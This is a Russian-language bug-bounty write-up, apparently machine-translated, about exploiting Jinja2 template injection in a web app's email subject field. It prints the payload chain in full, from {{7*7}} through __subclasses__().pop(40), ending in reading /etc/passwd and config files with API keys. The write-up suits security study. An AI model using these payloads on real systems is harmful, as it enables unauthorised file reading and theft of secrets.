Я получил инвайт на приватную программу на bugcrowd. Программа не имеет большого объема, просто одно приложение с множеством функций для тестирования. Мне обычно нравятся такие программы, потому что я не очень хорошо разбираюсь в разведке.

Первая мысль: давайте узнаем, с помощью какой технологии построен веб-сайт. Для этого я использую wappalyzer. Они использовали Angular dart, python Django и flask.

+. Будучи разработчиком Python в течение последних нескольких лет, я знаю, где обычно разработчик совершает ошибки.

Была одна утилита под названием workflow builder. которые используются для построения финансового процесса закрытия. С его помощью вы можете автоматизировать повседневные действия, такие как отправка утверждения и отправка электронных писем с напоминаниями. Мое внимание привлекла функция отправки электронных писем, потому что в большинстве случаев это приложение-генератор электронной почты уязвимо для внедрения шаблона. Поскольку этот веб-сайт построен на Python, я был совершенно уверен, что они должны использовать шаблон Jinja2.

Функция отправки электронной почты имеет 3 поля. Кому, название и описание. Я установил {{7 * 7}} в качестве заголовка и описания и нажимаю кнопку "Отправить электронное письмо". Я получил электронное письмо, в котором указано «49» в качестве темы и {{7 * 7}} в качестве описания. Таким образом, предметное поле было уязвимо для внедрения шаблона.

Полезная нагрузка: {{7 * 7}}

в основном это оценивает код Python в фигурных скобках. Я попробовал другую полезную нагрузку, чтобы получить список подклассов класса объекта.

Полезная нагрузка: {{[] .__ class __.__ base __.__ subclasses __ ()}}

Я получил письмо со списком подклассов класса объекта. как показано ниже

Позвольте мне объяснить вам эту полезную нагрузку,

Если вы знакомы с python, возможно, вы знаете, что мы можем создать список, используя «[]». Вы можете попробовать это в интерпретаторе Python.

  1. Класс доступа к списку
>>> [].__class__
<type 'list'>   #return class of list

2. Доступ к базовому классу списка.

>>> [].__class__.__base__
<type 'object'> #return base class of list

Список является подклассом класса «объект».

3. Доступ к подклассам класса объекта.

>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>.....

Итак, наша полезная нагрузка дает нам список всех подклассов «объектного» класса.

Я сообщил об этой проблеме как есть, надеясь, что мне не придется идти дальше, чтобы доказать, что она оказывает значительное влияние. bugcrowd triager ответьте мне этим

Хорошо, теперь я должен предоставить POC, чтобы доказать влияние этой проблемы, чтобы пометить ее как P1.

У большинства приложений django есть файл конфигурации, который содержит действительно конфиденциальную информацию, такую ​​как ключи AWS, API и ключи шифрования. У меня есть путь к этому файлу конфигурации из моих предыдущих выводов. Итак, я решил прочитать этот файл.

Для чтения файла в Python необходимо создать объект «файл». У нас уже есть список всех подклассов «Класс объекта».

Найдем индекс класса файла

>>> [].__class__.__base__.__subclasses__().index(file)
40  #return index of "file" object

Когда вы запустите «[].__class__.__base__.__subclasses__().index(file)» эту полезную нагрузку в интерпретаторе Python, вы получите индекс объекта «файл».

Я попробовал ту же полезную нагрузку, но ничего не дал, что-то не так. Я попытался получить доступ к другим объектам, но он дал аналогичную ошибку, не вернув никакого значения.

Затем я решил получить прямой доступ к файловому объекту, поскольку мы знаем, что индекс файлового объекта в списке подклассов «Object» равен «40.

Я попробовал эту полезную нагрузку {{[].__class__.__base__.__subclasses__()[40] }}

но безуспешно, эта полезная нагрузка также возвращает результат, аналогичный показанному на изображении выше. Полезная нагрузка где-то ломается, но не может найти где.

После некоторого исследования я пришел к выводу, что индексирование может блокировать или нарушать мою полезную нагрузку.

Если вы немного знакомы с python, возможно, вы знаете, что существует несколько методов для возврата значения в списке, один из методов использует функцию «pop».

>>> [1,2,3,4,5].pop(2)
3

Вышеупомянутый код возвращает третье значение списка и удаляет его из этого списка. Итак, теперь моя новая полезная нагрузка

{{[].__class__.__base__.__subclasses__().pop(40) }}

Вышеуказанная полезная нагрузка дает мне объект «файл».

Хорошо, теперь у меня есть объект «файл», я могу читать любой файл на сервере. Давайте прочитаем файл «etc / passwd».

Полезная нагрузка: {{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}.

Наконец, я смог читать файлы на сервере. Я также могу читать локальные файлы в экземпляре GCE, отвечающем за отправку уведомлений, включая некоторый исходный код и файлы конфигурации, содержащие очень конфиденциальные значения (например, API и ключи шифрования).

Спасибо за чтение. Если вам понравилась эта статья, поделитесь ею. Вы можете задать любые вопросы, просто напишите мне на акшукаткар.

- - Утренняя звезда